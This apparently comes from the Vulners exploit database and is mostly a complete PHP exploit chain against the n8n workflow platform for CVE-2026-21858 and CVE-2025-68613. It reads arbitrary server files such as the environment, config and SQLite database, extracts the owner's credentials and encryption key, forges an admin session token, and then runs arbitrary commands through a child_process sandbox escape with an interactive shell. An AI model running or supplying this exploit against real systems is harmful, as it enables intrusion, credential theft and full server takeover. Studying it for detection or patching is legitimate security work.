| Reporter | Title | Published | Views | Family All 106 |
|---|---|---|---|---|
| Exploit for Improper Input Validation in N8N | 21 Jan 202615:01 | – | githubexploit | |
| Exploit for CVE-2025-68613 | 25 Dec 202520:01 | – | githubexploit | |
| Exploit for CVE-2025-68613 | 26 Dec 202519:40 | – | githubexploit | |
| Exploit for Improper Input Validation in N8N | 11 Feb 202601:01 | – | githubexploit | |
| Exploit for Improper Input Validation in N8N | 20 Jan 202611:50 | – | githubexploit | |
| Exploit for Improper Input Validation in N8N | 20 Jan 202615:59 | – | githubexploit | |
| Exploit for CVE-2026-21858 | 12 Jan 202614:32 | – | githubexploit | |
| Exploit for CVE-2025-68613 | 24 Dec 202513:07 | – | githubexploit | |
| Exploit for CVE-2025-68613 | 26 Dec 202515:40 | – | githubexploit | |
| Exploit for CVE-2025-68613 | 22 Dec 202506:45 | – | githubexploit |
=============================================================================================================================================
| # Title : n8n 2.0.0-rc.4 Full chain exploit vulnerability |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://docs.n8n.io/release-notes/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/213586/ & CVE-2025-68613, CVE-2026-21858
[+] Summary : a PHP port of a research exploit targeting n8n, chaining multiple vulnerabilities to ultimately achieve remote command execution (RCE).
[+] PoC : php poc.php
<?php
define('BANNER', "
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain ║
║ Arbitrary File Read → Token Forge → Sandbox Bypass → RCE ║
║ ║
║ by indoushka ║
╚═══════════════════════════════════════════════════════════════╝
");
define('RCE_PAYLOAD', '={{ (function() { var require = this.process.mainModule.require; var execSync = require("child_process").execSync; return execSync("CMD").toString(); })() }}');
class Ni8mare {
private $base_url;
private $form_url;
private $session;
private $admin_token;
public function __construct($base_url, $form_path) {
$this->base_url = rtrim($base_url, '/');
$this->form_url = $this->base_url . '/' . ltrim($form_path, '/');
$this->session = $this->init_session();
$this->admin_token = null;
}
private function init_session() {
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Ni8mare/1.0)');
return $ch;
}
private function close_session() {
if ($this->session) {
curl_close($this->session);
}
}
private function randstr($n = 12) {
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
$result = '';
for ($i = 0; $i < $n; $i++) {
$result .= $chars[random_int(0, strlen($chars) - 1)];
}
return $result;
}
private function randpos() {
return [random_int(100, 600), random_int(100, 600)];
}
private function api($method, $path, $options = []) {
$url = $this->base_url . $path;
$ch = curl_init($url);
$headers = ['Content-Type: application/json'];
if ($this->admin_token) {
$headers[] = 'Cookie: n8n-auth=' . $this->admin_token;
}
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, strtoupper($method));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, $options['timeout'] ?? 30);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
if (isset($options['json'])) {
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($options['json']));
}
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code >= 200 && $http_code < 300) {
return json_decode($response, true);
}
return null;
}
private function lfi_payload($filepath) {
return [
'data' => [],
'files' => [
'f-' . $this->randstr(6) => [
'filepath' => $filepath,
'originalFilename' => $this->randstr(8) . '.bin',
'mimetype' => 'application/octet-stream',
'size' => random_int(10000, 100000)
]
]
];
}
private function build_nodes($command) {
$trigger_name = 'T-' . $this->randstr(8);
$rce_name = 'R-' . $this->randstr(8);
$result_var = 'v' . $this->randstr(6);
$payload_value = str_replace('CMD', addslashes($command), RCE_PAYLOAD);
$nodes = [
[
'parameters' => [],
'name' => $trigger_name,
'type' => 'n8n-nodes-base.manualTrigger',
'typeVersion' => 1,
'position' => $this->randpos(),
'id' => 't-' . $this->randstr(12)
],
[
'parameters' => [
'values' => [
'string' => [[
'name' => $result_var,
'value' => $payload_value
]]
]
],
'name' => $rce_name,
'type' => 'n8n-nodes-base.set',
'typeVersion' => 2,
'position' => $this->randpos(),
'id' => 'r-' . $this->randstr(12)
]
];
$connections = [
$trigger_name => [
'main' => [[
'node' => $rce_name,
'type' => 'main',
'index' => 0
]]
]
];
return [$nodes, $connections, $trigger_name, $rce_name];
}
public function read_file($filepath, $timeout = 30) {
$payload = $this->lfi_payload($filepath);
$ch = $this->session;
curl_setopt($ch, CURLOPT_URL, $this->form_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code >= 200 && $http_code < 300 && !empty($response)) {
return $response;
}
return null;
}
public function get_version() {
$resp = $this->api('GET', '/rest/settings', ['timeout' => 10]);
if (!$resp) {
return ['0.0.0', false];
}
$version = $resp['data']['versionCli'] ?? '0.0.0';
$parts = explode('.', $version);
$major = intval($parts[0] ?? 0);
$minor = intval($parts[1] ?? 0);
$vuln = $major < 1 || ($major == 1 && $minor < 121);
return [$version, $vuln];
}
public function get_home() {
$data = $this->read_file('/proc/self/environ');
if (!$data) {
return null;
}
$vars = explode("\x00", $data);
foreach ($vars as $var) {
if (strpos($var, 'HOME=') === 0) {
return substr($var, 5);
}
}
return null;
}
public function get_key($home) {
$data = $this->read_file($home . '/.n8n/config');
if (!$data) {
return null;
}
$config = json_decode($data, true);
return $config['encryptionKey'] ?? null;
}
public function get_db($home) {
return $this->read_file($home . '/.n8n/database.sqlite', 120);
}
public function extract_admin($db) {
$temp_file = tempnam(sys_get_temp_dir(), 'n8n_db_');
file_put_contents($temp_file, $db);
try {
$pdo = new PDO("sqlite:$temp_file");
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$stmt = $pdo->query("SELECT id, email, password FROM user WHERE role='global:owner' LIMIT 1");
$row = $stmt->fetch(PDO::FETCH_ASSOC);
unlink($temp_file);
if ($row) {
return [$row['id'], $row['email'], $row['password']];
}
} catch (Exception $e) {
if (file_exists($temp_file)) {
unlink($temp_file);
}
}
return null;
}
public function forge_token($key, $uid, $email, $pw_hash) {
$key_part = '';
for ($i = 0; $i < strlen($key); $i += 2) {
$key_part .= $key[$i];
}
$secret = hash('sha256', $key_part);
$hash_input = $email . ':' . $pw_hash;
$h = substr(base64_encode(hash('sha256', $hash_input, true)), 0, 10);
$header = base64_encode(json_encode(['alg' => 'HS256', 'typ' => 'JWT']));
$payload = base64_encode(json_encode(['id' => $uid, 'hash' => $h]));
$signature = base64_encode(hash_hmac('sha256', "$header.$payload", $secret, true));
$this->admin_token = "$header.$payload.$signature";
return $this->admin_token;
}
public function verify_token() {
return $this->api('GET', '/rest/users', ['timeout' => 10]) !== null;
}
public function rce($command) {
list($nodes, $connections, $trigger_name, $rce_name) = $this->build_nodes($command);
$wf_name = 'wf-' . $this->randstr(16);
$workflow = [
'name' => $wf_name,
'active' => false,
'nodes' => $nodes,
'connections' => $connections,
'settings' => []
];
$resp = $this->api('POST', '/rest/workflows', ['json' => $workflow, 'timeout' => 10]);
if (!$resp) {
return null;
}
$wf_id = $resp['data']['id'] ?? null;
if (!$wf_id) {
return null;
}
$run_data = [
'workflowData' => [
'id' => $wf_id,
'name' => $wf_name,
'active' => false,
'nodes' => $nodes,
'connections' => $connections,
'settings' => []
]
];
$resp = $this->api('POST', "/rest/workflows/$wf_id/run", ['json' => $run_data, 'timeout' => 30]);
if (!$resp) {
$this->api('DELETE', "/rest/workflows/$wf_id", ['timeout' => 5]);
return null;
}
$exec_id = $resp['data']['executionId'] ?? null;
$result = $exec_id ? $this->get_result($exec_id) : null;
$this->api('DELETE', "/rest/workflows/$wf_id", ['timeout' => 5]);
return $result;
}
private function get_result($exec_id) {
$resp = $this->api('GET', "/rest/executions/$exec_id", ['timeout' => 10]);
if (!$resp) {
return null;
}
$data = $resp['data']['data'] ?? null;
if (!$data) {
return null;
}
// Handle both cases: string JSON or already decoded array
if (is_string($data)) {
$parsed = json_decode($data, true);
} else {
$parsed = $data;
}
if (!is_array($parsed)) {
return null;
}
// Search for the result in reverse order
for ($i = count($parsed) - 1; $i >= 0; $i--) {
if (isset($parsed[$i]) && is_string($parsed[$i])) {
$item = $parsed[$i];
if (strlen($item) > 3 && !in_array($item, ['success', 'error'])) {
return trim($item);
}
}
}
return null;
}
public function pwn() {
echo "[+] HOME directory... ";
$home = $this->get_home();
if (!$home) {
echo "FAILED\n";
return false;
}
echo "OK: $home\n";
echo "[+] Encryption key... ";
$key = $this->get_key($home);
if (!$key) {
echo "FAILED\n";
return false;
}
echo "OK: " . substr($key, 0, 8) . "...\n";
echo "[+] Database... ";
$db = $this->get_db($home);
if (!$db) {
echo "FAILED\n";
return false;
}
echo "OK: " . strlen($db) . " bytes\n";
echo "[+] Admin user... ";
$admin = $this->extract_admin($db);
if (!$admin) {
echo "FAILED\n";
return false;
}
list($uid, $email, $pw) = $admin;
echo "OK: $email\n";
echo "[+] Token forge... ";
$this->forge_token($key, $uid, $email, $pw);
echo "OK\n";
echo "[+] Admin access... ";
if (!$this->verify_token()) {
echo "DENIED\n";
return false;
}
echo "GRANTED!\n";
echo "[+] Cookie: n8n-auth=" . $this->admin_token . "\n";
return true;
}
public function __destruct() {
$this->close_session();
}
}
function run_read($exploit, $path, $output = null) {
$data = $exploit->read_file($path);
if (!$data) {
echo "[-] File read failed\n";
return;
}
echo "[+] " . strlen($data) . " bytes\n";
if ($output) {
file_put_contents($output, $data);
echo "[+] Saved to: $output\n";
return;
}
echo $data . "\n";
}
function run_cmd($exploit, $cmd) {
echo "[+] RCE... ";
$out = $exploit->rce($cmd);
if (!$out) {
echo "FAILED\n";
return;
}
echo "OK\n\n";
echo $out . "\n";
}
function run_shell($exploit) {
echo "[*] Interactive mode (type 'exit' to quit)\n";
while (true) {
echo "\033[91mn8n\033[0m> ";
$cmd = trim(fgets(STDIN));
if (empty($cmd) || $cmd === 'exit') {
break;
}
$out = $exploit->rce($cmd);
if ($out) {
echo $out . "\n";
}
}
}
function parse_args() {
global $argv;
if (count($argv) < 3) {
echo "Usage: php " . basename($argv[0]) . " <url> <form_path> [options]\n";
echo "Options:\n";
echo " --read PATH Read arbitrary file\n";
echo " --cmd CMD Execute single command\n";
echo " --output FILE Save LFI output to file\n";
echo "\nExample:\n";
echo " php exploit.php http://localhost:5678 /form/upload --read /etc/passwd\n";
echo " php exploit.php http://localhost:5678 /form/upload --cmd id\n";
echo " php exploit.php http://localhost:5678 /form/upload\n";
exit(1);
}
$args = [
'url' => $argv[1],
'form' => $argv[2],
'read' => null,
'cmd' => null,
'output' => null
];
for ($i = 3; $i < count($argv); $i++) {
if ($argv[$i] === '--read' && isset($argv[$i + 1])) {
$args['read'] = $argv[++$i];
} elseif ($argv[$i] === '--cmd' && isset($argv[$i + 1])) {
$args['cmd'] = $argv[++$i];
} elseif ($argv[$i] === '--output' && isset($argv[$i + 1])) {
$args['output'] = $argv[++$i];
}
}
return $args;
}
function main() {
echo BANNER . "\n";
$args = parse_args();
$exploit = new Ni8mare($args['url'], $args['form']);
list($version, $vuln) = $exploit->get_version();
echo "[*] Target: " . $args['url'] . "\n";
echo "[*] Version: $version (" . ($vuln ? "VULN" : "SAFE") . ")\n";
if ($args['read']) {
run_read($exploit, $args['read'], $args['output']);
return;
}
if (!$exploit->pwn()) {
return;
}
if ($args['cmd']) {
run_cmd($exploit, $args['cmd']);
return;
}
run_shell($exploit);
}
if (php_sapi_name() === 'cli') {
main();
} else {
echo "This script must be run from command line\n";
}
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation